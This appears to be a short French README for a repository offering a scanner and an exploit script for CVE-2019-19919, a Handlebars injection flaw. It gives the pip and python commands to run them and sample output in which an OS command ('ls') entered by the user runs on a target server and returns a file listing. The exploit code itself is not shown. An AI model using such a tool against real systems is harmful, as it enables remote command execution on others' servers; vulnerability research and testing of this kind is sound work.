fazilbaig1/cve-2019-19919Vulnérabilité de neutralisation incorrecte des éléments spéciaux dans la sortie utilisée par un composant en aval ('Injection')
Vulnérabilité de neutralisation incorrecte des éléments spéciaux dans la sortie utilisée par un composant aval ('Injection') de Handlebars
pip install requests packaging
python handlebars_scanner.py
pip install requests
python handlebars_exploit.py
Entrez l'URL cible :
Sortie attendue de l'exploit : Entrez l'URL cible (par exemple http://example.com/render) : http://example.com/render
Entrez la commande OS à exécuter : ls
[+] Envoi de la charge utile de l'exploit vers http://example.com/render...
[+] Charge utile exécutée avec succès.
[+] Réponse :
file1.txt file2.txt
